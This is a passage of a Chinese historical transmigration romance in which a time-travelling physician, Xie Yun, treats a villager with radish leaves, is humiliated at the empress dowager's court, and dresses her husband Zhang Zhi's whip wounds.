“你还真是站着说话不腰疼。”谢蕴有气无力的靠在椅子上:“话说回来,你这个书房应该放一把躺椅。”
张止从善如流将折子塞到信封中,又细细的卷起来,他挑眉看着女子放松的模样,询问:“皇上没有和你说怎么将信件给他吗?”
谢蕴偏头看着烛火:“此刻距离宫门下钥,还有多长时间?”
“三刻钟。”
“我新制一批药丸,最能延年益寿,进献于圣上。”
深夜,皇宫内,皇上看着从镇北侯府送过来的药丸,又反复观看折子,满脸问号:“此女不曾读过书?”
像是有心灵感应,躺在床上的谢蕴打了一个大大的喷嚏,似乎觉得还不解气,又接连不断打了三个。
“着凉了?”谢蕴暗自嘀咕,抬起手腕给自己断脉:“没有啊。还很健康。”
“你睡不睡觉?”张止语气不善。
自两人住在一起后,他百般不能适应,连谢蕴细小的呼吸声在他耳里都被无限放大。
谢蕴好笑,对着黑暗的空气道:“拜托,对你嫂嫂尊重一点好吗?”
果然,此招一出,那头必然缴枪投降。
谢蕴想起系统任务,不免心烦,再次追问:“张止,除了复活你的少爷,你没有其他梦想吗?”
“天下太平,国泰民安。”
谢蕴愣神,好宏大的梦想,宏大到她一时之间不知道该如何才能实现。
许是很久没有听到回响,张止睁开眼向里间望去,月光太暗,遮住了他的目光。
“怎么不说话?”
“在思考。”谢蕴无奈。
“思考什么?”
“思考你的梦想是真是假。”
张止哑然失笑,声音冷冽如泉水:“我在成为张止之前也只是一个很普通的百姓,从万千人中走到这个位置,若我能为百姓做一点小事,必然不会推脱。封侯,食万户邑,难道要尸位素餐吗?”
“天下现在不太平吗?国家现在不富强吗?”谢蕴穿来时只在底层摸打滚爬,知道的也不过寥寥。
“东边大魏虎视眈眈,北边突厥时常来犯,此为两大外忧,朝廷钱粮空虚,不久前黄河大水,大灾后必有大疫,又是百姓遭殃,此为内患。”说起这些,张止心情沉重:“你问我天下是否太平,国家是否富强,我想最标准的答案就是百姓是否安康,是否不用受战火所累,是否能食以裹腹,衣以蔽体。”
***
即便在第二日早上想起来,谢蕴依旧觉得太沉重。
若是这般,又如何帮他实现梦想?
“阿蕴,门口有人求见。”芝落敲敲门,打断了正在发呆的谢蕴。
谢蕴指了指自己,不太相信,又确认一遍:“有人找我?”
“对,反复问我你是不是住在这,想来是不会有错的。”
谢蕴虽然认为奇怪,但在走出抄手游廊,看见穿着灰色长襟的小女孩,喜出望外:“果果!”
果果闻声,小跑几步一把抱住谢蕴:“阿蕴姐姐!”
谢蕴忙从怀抱里扒拉出果果那张带着哭痕的小脸蛋:“发生什么事了,哭成这样?”
不问还好,一问果果哭的更加厉害,连蒙带猜谢蕴才搞清楚发什么事了。
霎时间,她立马收拾好药箱,嘱咐芝落:“姐姐,我要出诊,有快马吗?”
芝落面色为难:“有是有,只是你还未回门进宫谢恩,按理是不能出侯府的。”
谢蕴一手提溜着药箱一手拉着果果:“不要紧,有什么事我自己担着。”
生死面前,对于她医士而言,顾不上许多。
“前半月前,阿娘就开始打嗝,起初我们都以为没事,后来肚子渐渐的鼓起来了,”果果牵着谢蕴的手,下马后引她至家门:“到了夜里就开始吐酸水,这几日连饭也吃不下了。”
“请了其他大夫来看了吗?他们如何说?”
果果摇头:“没有。阿蕴姐姐你是我请的第一个大夫。”
谢蕴疑惑,果果宁愿走大半日去侯府找自己,为何不就近先请大夫。
等到了病榻前,看见果果阿娘的模样,谢蕴才明白为何。
她的娘亲不仅肚子鼓胀如球,胸前也是如此。
妇人讳疾忌医,莫过于是焉。
“又麻烦你了,谢大夫。”果果阿娘强撑着身体想要坐起来,谢蕴忙快走几步扶着她躺下:“无妨,这是我医家的本份。”
谢蕴伸手搭脉:“月事可还正常?”
妇人脸色一红:“一月前就已不来月事了,想来我这个岁数也正常。数日前,只觉得胸口闷闷的,像是有一团气,上不来又下不去。”
谢蕴收起脉诊,果果见状赶忙询问:“阿蕴姐姐,我娘亲可有事?”
“无事,我这就开方子。”谢蕴心中已知晓大概,抬头看见家徒四壁的模样,拍了拍果果的后背:“走,我带你去找药。”
果果一听娘亲无事,喜笑颜开:“好,姐姐,我们去哪找药。”
“你家菜园子。”
果果:“嗯?”
“姐姐,这里有我们要找的药
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吗?”
“当然有。”谢蕴卷起裙摆,露出一节细细的脚踝,拉着果果踏进地里:“我要的莱菔叶就在这里啊。”
果果低头,满眼质疑:“这不是萝卜吗?”
谢蕴笑了,教她识别:“你瞧,底下的这节叫萝卜,上面这绿茵茵的叶子呢,叫莱菔叶,有消食理气之效。中医讲究药食同源,就是这个道理了。”
“你母亲脾胃虚弱,食用莱菔叶,需以姜片佐助。”
谢蕴作为医士能猜出来大概,饥饱无常容易导致肠胃不适,更易至腹胀甚至闭经。
她脑海里浮起昨晚张止说的话,百姓是否食以裹腹,衣以蔽体。
“姐姐,这么多够了吗?”果果打断她的出神。
“够了。”谢蕴点头,扶腰:“我回去教你怎么做。”
她万万没有想到,会在这里见到杨励。
他身着玄色披风坐在院子中的石凳上,手里拿着一翠色的茶盏,像是已经等候多时。
“杨大人,你怎么在这?”
杨励先是漫不经心的扫了一眼果果,吓的她一下躲到谢蕴身后去了,目光落在谢蕴露出的一节脚踝上,随后立马移开:“张夫人,你可不要误会,我只是看见院子前有一匹战马,心生好奇,以为是哪位同僚,没有想到是张夫人。”
谢蕴紧紧的护着果果,铿锵有力地说:“是我的马,劳杨大人费心。”
杨励弯了弯手指,在茶盏上敲了敲,似在听茶盏发出的声响,直奔主题:“听闻你昨日向陛下发了一封密函,内容是什么?”
“杨大人,这是我与陛下的事情,怎么能告诉你?”
“天子无私事。”杨励厉声。
谢蕴态度强硬:“那你应该去问天子。”
杨励差点忘了,这位小娘子最是牙尖嘴利,不过仍然疑惑:“在侯府见你,你看起来像只小兔子,怎么今日变成一只小豹子?怒我直言,夫人这般容易失了郎君的心。”
在侯府,谢蕴她是最弱小的,就算有什么事,大可以自己扛,正所谓好汉做事好汉当;而在这里,她却是最强大的力量,果果和她娘亲手无缚鸡之力,又缠绵病榻。若是因为她,连累其他人,那么她罪该万死。
谢蕴坦言:“杨大人,你的问题我真的无法回答。”
杨励眼神微动,又探回到果果身上,向她招了招手:“过来。”
果果听见他的声音像一个小兔子似的,在谢蕴身后瑟瑟发抖。
“有什么事和我说,别欺负孩子!”谢蕴又往果果那边靠了靠,试图用整个身体将果果完完全全遮挡起来。
“张夫人,你可太冤枉我了。”杨励讥笑:“若不是我,这小姑娘如今还不知道你在哪,如何求得你救人?你当自己是救世主,也别诬赖了旁人。”
谢蕴狐疑:“你会有这么好心?”
杨励站起身,笑吟吟的走到她的身边:“谢小姐,虽然我和张大人是死对头,但也不代表我这个人毫无可取之处。”
“你不能因为你嫁给张止,就失去最起码的是非判断之力。”
谢蕴一脸黑线,暗想,我不是因为嫁给张止知道你不是好人,我是拿到小说看到你的人设,就知道你不是什么好东西。
9. 冷面公子 替身马甲
见谢蕴没有什么反应,杨励脸色微变,告诫:“我问你的问题你可以不告诉我,但用不了多久我就会知道的,我只是在给你一个机会,表明你我是同一阵营的。”
“大人,太后传您入宫。”一人骑着快马飞奔而来,算是暂时解了燃眉之急。
待他走后,果果低头忐忑不安地说:“那日我上街去你常去的馄饨摊上寻你,守了一天没等到你,回来时不小心撞上马车,车里的人就是他,他给了我钱,问我在这做什么,我说我找一位女大夫。后来他就告诉我,说那位女大夫正在侯府,让我去那里。”
“姐姐,我不知道他是这种人,当时…当时…我见到他,他还挺好说话的,不像今天这样。”
大人都尚且分不清谎言,何况一个稚童?
谢蕴捏捏果果的脸:“别害怕,下次要离他远一点,那个人可不是什么好人。”
安排好一切,嘱咐如何用药,回到侯府已经天黑了。
***
“夫人,这一日很繁忙啊。”张止盘腿窝在榻上,双肘虚虚地搭在腿上,正中放着一本书,束起来的马尾垂在胸前,看起来好不惬意。
谢蕴心浮气躁:“是啊。”
“听芝落说,你出诊去了?”见谢蕴没有搭理自己的意思,张止换了一个坐姿耐心的追问。
“嗯。”谢蕴背对着张止,从身上取下来药箱:“碰见你的死对头了。”
张止斟酌了片刻,沉稳道:“他是想问你,昨日的密折上写了什么。”
谢蕴本在收拾药箱,听了此言不由一愣,立即停下手里的动作,绕过屏风走到张止面前,惊叹:“你怎么知道的?”
张止昂首,眼里有小小的骄傲:“猜的。”
谢蕴顿觉眼前人和最开始的冷面阎王变得有些许的不一样,瞬息间有了小孩子的稚气。
“你说,他是怎么知道我上了密折?”
张止合起书本,扔在一边,轻描淡写:“谁在宫里没有几个眼线,就许皇上盯着我们,不许我们打探皇上的消息?”
谢蕴眉头微微皱起来,充满暗示:“你也有?”
张止嘴角上扬,没有回答这个问题。
她并不纠结,又回到屏风那边整理药箱。
张止撑着脑袋目不转睛看着谢蕴从药箱里取出东西又放下,好奇询问:“你的医术水平如何?”
谢蕴撇嘴,在现代作为一个非遗针灸传承的中医女孩,你说医术如何?
“一般般吧。”她很谦虚:“没有和别人比较过。”
“女子不能为医,能有人专门求上来请你去医治,水平想必很精湛。”说到这里,他忽然停顿下来,赞叹:“也不容易。”
谢蕴回头,不可思议地盯着那抹身影:“女子在哪个时代想和男子比肩都不容易,难得你会认同。”
世间男儿多是大男子主义,能站在女子角度思考问题的是少之又少。
张止低沉有力的声音犹似在耳边:“我当然认同,一个人想做好一件事都非常不易,世道艰难,对于女子更甚。女子若想要做出一番事业,难上加难。”
谢蕴被惊讶到说不出来话,在一本书里,尤其在描写古代的一本书里,居然有一个男人对于女子的处境能有公正的判断。
“所以,我准备送你一个礼物。”
“啊?”话题转变如此之快,令谢蕴猝不及防。
张止漫步绕到屏风后,从身后拿出来一个黄花梨木海棠花盒,托到她眼前,谢蕴摇首拒绝:“我平时不太打扮,钗环之物你还是留着送给别人吧。”
张止食指轻轻叩在盒身,似笑非笑又意味深长:“我知夫人不爱红装爱武装,可若你不打开看看,怎么知道是什么?”
谢蕴无奈,揭开盖子后,内里静静躺着一把匕首,通体成暗金色,刀鞘上镶嵌着五个宝石,她情不自禁的拔出匕首,刀刃极薄,闪着寒光。
“这…送我了?”她不懂武器,但也觉得这把匕首很好。
“送你了,就算有什么意外,身边有件趁手的兵器也可以防身。”张止眼光飘掠过女子,转身慵懒道:“你这条小命还要留着帮我复活少爷,千万不能出什么事。”
谢蕴很心虚,她完成不了却不知该如何坦白。
张止的个性大概会把自己五马分尸吧?
“系统提示,任务进度完成百分之十。”
“嗯?”谢蕴膨胀盒子莫名其妙:“我做了什么就完成了百分之十?”
“抱歉宿主,这个不可以说哦。”
谢蕴思考半天,按照系统爱推迟的习惯,肯定是今日救果果母亲推动任务发展了,毕竟这是天下太平的小小一步。
思及至此,谢蕴开开心心的躺到床上,所有的阴霾都一扫而空,什么杨励,什么皇上,快滚蛋吧!
张止举着书,余光瞟到那个手舞足蹈的身影,困惑:“不就是一把匕首么,不至于高兴成这样吧?”
因着今日进宫谢恩,谢蕴要比平日早起的多。
“果然是人逢喜事精神爽!”坐在马车中,她想起任务进度依旧忍不住兴奋。
张止本是靠着车窗,合眸休息,听到她没出息的话,摇头小声叹息:“就这样还当眼线呢,一把匕首就收买了。”
“你说什么?”谢蕴仿佛听见张止在说自己坏话。
“没什么。”对比谢蕴的开心,张止从一早起床就是垂头丧气,整张脸都写满不高兴,现如今更是一句话不想多说。
谢蕴没有多问,这一路上再无多话。
马车稳稳停下,景和的声音传进来:“大人,已经到宫门了。”
按照本朝规矩,凡入宫着须步行,就算是功高卓越如张止,也无例外。
张止本是大步流星走在前面,猛然停下脚步,心事重重,谢蕴没注意,一下撞到他的后背,忍了许久的话终是问出口:“你怎么了?”
“没什么。”
谢蕴见他面色沉重,指节分明的手指不自主摩挲腰间的鸳鸯配,已经猜出来大概:“近乡情更怯,你见你姐姐,大约是这种心情。”
“不要擅自揣摩他人心思。”张止眼神中真切地闪过一丝厌烦,像是初初见她那样。
谢蕴回想起那日见贵妃的模样,心中有数:“我见过她了,她是一个很好说话的姐姐,就算知道事情的真相,她也不会怨你。”
张止偏头审视谢蕴,胸口微微起伏,抿紧双唇:“你既然知道我为何事心烦
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,何故要一直提起。”
谢蕴知趣的闭上嘴,这个时候触他霉头,真是不想活了。
张止并未就此收手,上下左右注视她半天,冷声发问:“你的鸳鸯配呢?”
谢蕴并不放在心上:“忘带了,好像是芝落姐姐上次替我收起来了。”
“这是姐姐赐给你的。”张止神情错愕:“今日回宫谢恩,你…”
谢蕴耐心解答:“贵妃娘娘不会因为这点小事无故生气。”
“那是不是可以证明,我们对这件事的尊重程度?”
谢蕴本来因进度完成百分之十而高兴的好心情扫地以尽,柳眉倒竖,嗓音也随之提高:“你能不能不要无理取闹?”
“我无理取闹?”张止单手插腰,一手抚在额前,不住的轻揉太阳穴,心中烦闷无比:“明明是你对这件事不重视,明明是…”
“明明是你紧张,你担心你如今的模样不是姐姐心中张止的模样。”谢蕴打断他,一针见血道破真相:“她的失望,不就是代表张止的失望吗?”
张止瞬间面如土色,晦暗的眼里看不清情绪,右手又不自觉地抚摸上那枚鸳鸯配,指节发白。
谢蕴目睹他情绪起伏,暗恨自己说的过于直白,想要挽回,后者没有给她机会,“唰”的一下转身就走,步履如飞。
“你等等我!”谢蕴不知如何是好,只能提着裙子小跑着跟上去,皇宫大内禁止喧哗,她小声呼唤:“张止!你慢些!”
张止充耳不闻,反而越走越快。
直至长乐宫前,张止才停下,谢蕴跑气喘吁吁,额头上浮起一层小汗珠。
张止侧身凝望她,谢蕴却一反常态,向左跨了一步,拂袖整理衣服,划出两人之间的距离。
真是,谁还没有脾气了!
眉若姑姑一出来便看见一副奇怪的景象:新郎脸上看不出什么表情,新娘小脸红扑扑,两人之间横着距离都可塞下第三个人了。
加上之前坊间传闻,眉若猜测是这一对新婚燕尔的小两口耍的新花样。
“大人,夫人,贵妃娘娘已等候多时了。”
“多谢眉若姑姑。”他对皇上不假辞色,对待从小在府中长大的姑姑却面带笑意。
张止用余光示意谢蕴跟上他的步伐,谢蕴选择直接无视!
“臣张止…”
“臣妇谢蕴…”
“参见贵妃娘娘。”
贵妃示意眉若扶起他们,眉开眼笑:“快起来,都是一家人。哪里要如此客气?”
她对这个弟媳妇是满意的,不为其他,只盼着有一个人能真心实意对她这弟弟好而已。
贵妃伸手招呼谢蕴坐到她身边,握住她的手细细寒暄:“阿止对你可还好?可给你委屈受?”
谢蕴怨恨的看了一眼张止,口是心非:“他对我很好,不曾给我委屈。”
贵妃这才回头看着站在一旁的张止,外男不得入内,她都已经想不起来上次见阿止是什么时候了。
“阿止,怎么看你不像以前?”
张止沉默了,嘴角挤出来一个很难看的微笑。
谢蕴心中一沉,下意识捏紧贵妃的手。
血缘感应这么灵,这样都能看出来?
10. 独见太后 磋磨多多
贵妃回头瞧见谢蕴紧张神情,拍拍她的手,示意她不用如此。心中却是无比宽慰,能如此在意阿止的一言一行,这样的人去哪里找?
“我记得从前的阿止,爱谈笑,幽默风趣,如今怎么老成了?”
张止心里变得柔软,他曾以为这世上只有自己一人还记得从前的少爷。
“阿姐,朝廷事多,总想着要事事周到,避免让旁人寻到错处,也怕因我的举动会让姐姐在宫中举步维艰。”张止的回答堪称滴水不漏:“一番下来,自是老成。”
贵妃缓缓摇头,坚定反驳:“阿止,不需要,在我眼里,你现在这样已经很好了。”
她对弟弟妹妹从来没有什么要求,她只身一人进宫,为的就是让余下弟弟妹妹也肆意生活。
如今看来,她最疼爱的弟弟也并没有很肆意。
谢蕴见缝插针:“娘娘,你说是阿止如今这样好还是从前那般好?”
张止眉头一皱,狠狠瞪了谢蕴一眼,他不愿意和少爷比较,他的少爷如高中冰雪、如早春盛阳,岂是他能比较?
贵妃不解:“这有什么不一样吗?不都是阿止?难道人会因为时间变得不一样吗?”
一语中的。
张止面上表情没有什么变化,却暗想怎么会一样呢?他明明是张正,真正的张止除了密室那张画像,什么也没有了。
而在名义上这个姐姐的困惑时,他却也只能应声附和:“是啊,人哪里会变得不一样?”
谢蕴懊恼,她的本意不是如此,却弄巧成拙。
恰好此时,皇上身边的太监来了,算是解了燃眉之急:“贵妃娘娘,皇上召张大人去金龙殿。”
张止如同握住救命稻草:“贵妃娘娘,我先去回皇上话。”
“嗯。”
转身时张止若有若无扫了一眼谢蕴,似在警告她不要乱说话。
贵妃有些出神,不知何时,她记忆里幼小、懵懂的背影竟变得如此挺拔:“现在看着阿止的背影,我恍惚间都认不出他了。”
谢蕴顺着她的目光,同样看着张止:“可不是。”
他又不是他。
贵妃低眉转换了情绪,不再继续那一话题,只是重复:“阿蕴,我对你很放心。”
交浅言深乃是大忌,谢蕴不懂为何贵妃每次会如此坦城。
许是读懂她的眼神,贵妃淡淡的笑了:“我们这些人求得不就是一生一世一位知心人吗?”
谢蕴相当不赞同,她穿来是辅助张止完成梦想的,绝不会爱上书里的人物,一个被创作出来的人,一个虚假的人,怎么能承受她满腔爱意?
她的爱是要给鲜明活泼,实实在在的人。
“芝落可还好相处?”贵妃事无巨细。
“芝落姐姐对我很好。”谢蕴实话实说。
易地而处,谢蕴断不会像芝落这样大度。
贵妃还想说什么,一位老嬷嬷闯进来,面带微笑道:“贵妃娘娘,太后听闻镇北侯大婚,今日回宫谢恩,想见一见镇北侯娘子,差奴婢前来引见。”
太后?
谢蕴缓了缓心神,大约是在杨励面前的许诺之言。她早就猜到会有这么一出,只是没有想到会在今时今日,
贵妃虽不知何事,却明白其中利害,含笑道:“论理是要去的,嬷嬷先坐下喝口茶吧,镇北侯刚被陛下召走了,何不等他回来,夫妻二人一起去拜见,才合乎礼数。”
“太后宫中事多,年轻的小丫头多不懂事。”老嬷嬷话里话外都在点贵妃:“哪里能在娘娘这喝茶躲清闲呢?太后的原旨意是,镇北侯是外男,进后宫多有不便,只召镇北侯夫人一人。”
贵妃还想争一争,老嬷嬷却端起架子,言语苛责:“贵妃娘娘,还是按照礼制办事为好,外戚之祸,别说是太后,皇上也是多有厌恶。”
谢蕴明白了,贵妃是年轻不懂事的小丫头,镇北侯更是外戚。
她起身双手放在腰间,福身行礼:“贵妃娘娘,既是太后召见,臣妇去给太后磕几个头,去去便回,不必挂念。”
“我与你同去,我也很长时间没去太后跟前尽孝了。”
“还是过几日吧,太后这几日精神不济,只能见一人,见了镇北侯夫人就见不了您了。”
这意思再明显不过了。
“请吧,镇北侯夫人。”
从长乐宫出去,穿过一条高阔的长廊,在柳树荫下徐徐而过,最后停在一座雕梁画栋的宫殿前,匾额上正楷刻着:寿康宫。
这便是太后的居所,谢蕴不敢多做停留,随着老嬷嬷的步子快步走到宫内。
步入宫内,谢蕴的鼻子中便传来一阵好闻的水木香。
太后背对着门后,站在一个画满万寿纹的汝瓷鱼缸前,捻着鱼食与旁边人说话:“这是昨儿江南巡抚送过来的新鲜玩意儿,说是什么江南难得一见的鱼,哀家瞧着不过如此,现如今什么阿猫阿狗都敢糊弄本宫了。”
谢蕴不确定这话是不是对着自己说的,只按照规矩在下方跪好,低眉顺眼不出声。
“和你说了这么一会话,哀家乏了,你且去偏殿休息,等哀家精神缓和些再议事。”
自始自终,太后都没有回头。
谢蕴再愚笨也知晓这是什么意思了。
“是。”
这声音,是杨励?
谢蕴悄悄抬起眼皮,那毕恭毕敬的人不是杨励又是何人?
杨励回头,目光正好与她对视上。
曾听贵妃说起,宫里的地毯皆由番国进贡,一匹之价便是万金之数,能使人踩上不发出声音,果然如此。
杨励单膝微屈,与她同高,言语惋惜:“谢小姐,真是不巧。”
谢蕴不吱声,她不知道应该说些什么,所幸闭嘴。
“我记得我告诉你了,耍我的话没有好下场。”
谢蕴依旧眼观鼻鼻观心,一句话不说。
她倒不是倔强,是实在不知说些什么。
杨励等了片刻,面前的女子始终一言不发,索然无味,站起来向她身后迈去,临走时又留下一句话:“在太后宫中,张止可没有我面子大,指望他不如指望我。”
什么乱七八槽的。
谢蕴跪在宫殿正中,四周墙面被替换成雕空楠木板壁,旁边立着一幅画,像是刚完成不久,正在晾干。
谢蕴眯着眼看了一会,不由好笑,这居然是则天女皇称帝的画。
太后的心思,显而易见。
不知跪了多久,谢蕴只觉双腿发麻,膝盖处隐隐作疼,趁着四下
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无人,微微抬起左腿,双腿轮换才能稍稍休息,缓和片刻。
她在心中抱怨,这外国进贡来的地毯也一般嘛,跪久了膝盖一样疼。
不知还要跪多久,又不知有没有人会来救自己。
想到这里,谢蕴猛然间后悔,早知道不和张止吵架了,没准这会他还能救自己。
有人拍拍她的肩膀,谢蕴欣喜若狂回头:“张止!”
映入眼帘的是那张老嬷嬷的脸,且面露不悦,声音板正:“夫人,直呼夫君名讳为不敬。”
谢蕴懵了,一时之间反应不过来,只眨眨眼看着她。
正当她愣时之际,手里突然被塞一堆长约四寸长的细竹条,谢蕴不明不白:“姑姑,这是何意?”
“太后近日缺一个装小首饰的盒子,看惯了平时描画的漆盒,想要一个竹编的,劳夫人费心。”
谢蕴疑惑:太后,竹编?
她明白的,太后想要敲打她。
可是,竹编她真的不会啊。
“嬷嬷,我真的不会。”以防别人以为她推脱,态度更加诚恳:“要不我做点其他的?”
“先从底部十字编起,一层层叠加就是。”
谢蕴无奈,试问,这种口诉的教程谁能听懂?
事已至此,谢蕴只能硬着头皮上。
只可惜出师不利,刚编第一个十字时,右手食指便被割出一道口子,像张着小嘴呼吸一样。
谢蕴将伤口放在嘴里允吸一下,不流血以后才进行下一步。
不多时,几乎整双手上都布满细细碎碎的伤口。
谢蕴不算没吃过苦的人,可这一堆细小的伤口也足够让她痛苦不已。
“太后午睡,烛火不宜太亮。”
只一句话,宫殿里的蜡烛便都熄灭了。
古代房间进深长,加之今日又是阴天,即使正是中午点起蜡烛,殿内依旧昏暗沉沉,何况没有烛光。
不出一盏茶,谢蕴眼睛又酸又涩,只能用没有伤口处的手背轻轻揉一下眼睛。
她当真佩服这些人,这种细碎磋磨别人的法子,竟然能一套又一套,一连串的招式下来,谢蕴浑身都要散架了。
即使如此,她也未敢手上的动作。
太后若是今日没有搓磨够,明日、后日依旧还有其他花样,倒不如一次性承受。
脸上恍惚间泪水划过,谢蕴伸手触摸,食指上的伤口碰到泪水,钻心似的疼痛,她倒抽一口凉气,黑暗中摸索着编织,伤口越来越多,眼睛也是不由自主的流泪。
“小点声!”
老嬷嬷好似周扒皮,一刻也不会让谢蕴松懈,如鬼魅般在身后紧紧盯着。
“你求求我,或许我会帮你。”杨励低头瞧见她可怜兮兮的样子,缓声说道。
谢蕴叹气:“若是从前,说不准我真的会求你。可是我如今是镇北侯夫人,不好给人家丢份。”
杨励冷哼一声:“你倒争气。”
“传水!”里间终于传出来声音。
殿内涌入一群宫女,手里端着托盘,俨然有序。
原本被熄灭的蜡烛被点燃,谢蕴庆幸,可以进入正题,不用在这样受煎熬了。
“绿株,我让你去请的人呢?怎么一上午也没有见到?”
11. 张氏夫人 谢姓大夫
“臣妇谢蕴参加太后娘娘,愿太后福寿长存。”谢蕴弯下腰,双掌放在额头,紧贴着地面。
“呵,真是老了,眼睛不好。”太后佯装被吓到,假意责怪:“你们怎么让人做这样的粗活,人家到底也是侯爵夫人。”
谢蕴赶在老嬷嬷之前回话:“回太后,是臣妇自愿为太后尽点孝心。”
太后皮笑肉不笑:“是吗?抬起头。”
谢蕴抬起下巴,低垂眼皮,余光撇到太后,似乎与皇上差不多岁数,保养得宜,更显年轻。
当今皇上并非太后亲生,母子关系自然难以相处,皇位之争更是激烈。
“是个美人,哀家瞧着与杨励倒也相配。”
谢蕴头皮发麻,直起腰板,铿锵有力回答:“太后开玩笑了,臣妇已经嫁人了,岂能二嫁,自古好女不侍二夫。”
“不错。”太后斜靠在抱枕上,手腕间一对玉镯发出清脆的响声:“还有一句话是叫什么来着?”
“一仆不侍二主。”杨励稳当接过话头。
“张夫人,你认为这话可对?”太后眼光一瞥。
“臣妇一介女子,哪里懂得这些?”谢蕴站在故事的结局,看到故事的开头,当然无所畏惧:“在家从父,出嫁从夫。只要镇北侯认为对,我自是夫唱妇随。”
大殿之内安静地只能听见风声,谢蕴似乎都能听得见自己的心跳。
“绝不更改?”
“回太后的话,是。”
太后轻蔑一声,恨意从眼里一闪而过,柔柔的伸出左手,丫鬟会意,伸手搀扶:“哀家记得后面一句是夫死从子,你如今还没有孩子,以后谁替你撑腰?”
她缓步走到谢蕴面前,刚编织到一半的小竹筐正巧挡在两人之间,太后一脚踢开:“什么东西,也在哀家面前丢人现眼。”
绯红面上绣着玉兰花配上蓝色流苏定定站在谢蕴手掌前。她不敢抬头,只能紧贴地面跪着。
“哀家明白你,我也是为人妻的,你还没有孩子,自然体会不了为人母是什么心情,你戏耍哀家一次,哀家不怪你。可你以后要怎么做呢?永远置身事外怕是不能够吧?”
太后蹲下来,从地上牵起她的手,长长的护甲,从伤口处划过,有意停留。
谢蕴疼的倒吸一口凉气,十指连心,下意识的想要抽回手,却被太后紧紧握住。
“瞧瞧,这双手从今以后要搅弄风云了。”
“臣妇不敢。”谢蕴不知太后意欲何为,胸口发闷,像是被人纠住了呼吸。
太后虚情假意的微笑着,从手腕褪下一只月白色的镯子套到谢蕴的手上:“哀家应该感谢你,张大人一直作壁上观,现在已被拉倒这趟浑水里来了,再也不能独善其身了。”
谢蕴错愕,忍不住的颤栗,她自以为聪明的办法,实则对太后而言根本没有失败之处,她以为自己解决了麻烦,实际不过是拉张止如水。
谢蕴啊谢蕴,真是自作聪明。
“回去吧。”太后施施然笑着。
“多谢太后。”谢蕴咬牙,以手撑地缓缓站起来,许是跪的太久,膝盖处毫无知觉,踉跄一下,又差点摔倒了。
杨励目不斜视,扶住谢蕴的手肘,轻声:“小心。”
她有些意外。
太后只冷笑:“不用扶了,以后这种日子还多着呢。”
谢蕴扬起下巴,趁着这机会直起腰,站定行礼,不卑不亢:“臣妇拜别太后。”
她深深吸一口气迈出左脚,膝盖抽疼,不由自主一瘸一拐。
太后很满意她般,既想要维持体面,又不能成行,浅笑:“张夫人慢些,此处离宫门还远呢。”
谢蕴直视太后,再次迈出右腿:“多谢太后。”
“阿蕴,怎么弄成这样了?”贵妃不知等了多久,一见她出来,忙迎上去。
还未说话,跟上身后的老嬷嬷咳嗽两声:“贵妃,可巧您来了,太后正想见您呢。”
张府马车前已经挂上两盏灯笼,谢蕴才知已是黄昏。
“夫人。”景和放下板凳,谢蕴手扶车壁,紧咬牙关,用尽全力爬上马车。
张止像是已等候多时,脸色冷白,正闭目养神靠在车窗旁,上身挺的笔直,双腿又随意摆放。
这个姿势,说不出来的怪异。
谢蕴无心考究,在门帘后,她直挺挺的腰背顿时塌陷。
困倦、疼痛紧紧包裹住她,谢蕴闭着眼用手背慢慢揉着肿胀的膝盖。
她鼻子极灵敏,学医时号称警犬,在中医方面来说,也是一个不小的天赋。
一股淡淡的血腥味充斥在车厢内。
谢蕴微不可察叹气,这老太太整人的手段真是多种多样。
“夫人,到了。”
谢蕴奇了,景和是张止的贴身侍卫,开口必是大人
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,她与张止在场,从未单独称夫人。
她没有想到,门口居然这么多人。
“天呐。”芝落捂住嘴,不可置信的看着那些细小的伤痕。女子的手向来金贵,太后莫不是要砸了她的招牌。
“这点小伤算不得什么大事。”谢蕴个性如此,别人一关心,她就故作坚强,哪怕下一刻就要死了,都能笑着说无碍。
景和护主心切,眼看已进内宅,便不在硬挺,着急:“真正有事的是大人。”
“什么?”谢蕴奇怪,他不是好好的在车上吗?
景和撩起门帘,张止如行尸走肉般靠在车壁上,头颅仿佛没有支撑点,毫无生气的搭在右肩,修长的手指无意识的撑在腿上。
“这…怎么回事?”
“大人受鞭笞之刑,共计三十下。”
芝落抬手,招呼人拿来软轿。
放置的瞬间,张止眉头骤然拧住,本就毫无血色的嘴唇慢慢抿起,汗珠密密麻麻的布满整个额前。
“快!快请大夫!”
谢蕴顾不得自己的伤口,左手握住手腕,右手切脉,稳了稳神道:“我就是大夫。”
脉象平和有力,谢蕴稍稍放心。
“将他侧放,我要看一下后背。”绯色的衣物颜色变深,似初秋枫叶。
景和担忧,不相信眼前的女子:“要不我还是请其他大夫吧?”
谢蕴托住张止的左脸,额上的汗珠顺势蜿蜒而下流到她的手心,她缓出一口气,小心翼翼帮助他翻身,避免误触。
听到景和的话,谢蕴并没有回头,只道:“你可以去请,但我应是这附近最好的大夫。”
她对自己的医术十分自信。
张止侧身而躺,血味渐浓,她眉尖一跳,冷声吩咐旁人:“去拿把剪子。”
“你要干什么?”
“剪开衣服。”
谢蕴一手拿剪刀,一手轻轻揭开衣服,从容不迫。
不消一刻,完全展露。
谢蕴一怔,白皙的后背上满是血印,干涸的血痂黏在伤口旁,揭衣时血痂随衣而下,新的伤口正汩汩流血,粉色的肉翻出,似在控诉。
谢蕴伸手探了一下张止额头,掌心湿润,新的汗珠覆盖了旧的汗珠。
这男人真是硬骨头,竟是一声不吭。
她附在他的耳边,笃定:“是会疼一些,但我保证你会没事。”
12. 春光乍泄 同床共枕
张止迷迷糊糊呻吟一声,算是回应。
“这伤口,怎么…”芝落疑惑。
谢蕴垂下眼皮,沉吟:“行刑的鞭子被更换了,倒刺沾着皮肉而下。如此…”
“才能有极致的痛苦。”
怪不得在马车上,他那样怪异的姿势。
皇上和太后可真像一对母子,这种变态心理和行为常人不能理解。
“打一盆热水,再把我的药箱拿来。”
谢蕴顾不上自己手上的伤口,慎之又慎就着帕子一点点的擦拭干净血迹,就算如此小心,难免会触及到。
她单腿跪坐在床边,卷起帕子,右手捏住张止的双颊,左手塞入。
她知晓男人是硬骨头,可伤痛总是真实存在的。
男人似乎睁了眼,眼神不复从前狠宁,晕上一层水汽,眼尾发红,平白多了几分怜爱。
谢蕴俯身,耳语:“是我,你放心。”
“将烛台拿过来。”
谢蕴只留帕尖,再次清擦伤口。
一、二、三…
整三十道。
蜡烛燃烧过半,映出谢蕴额上的密珠,最后一处时,她不免长输一口气。
怕他疼,可若不疼,又担心他出了什么事,失去意识。
分寸之间,难以把握,才至一丝不苟,心力憔悴。
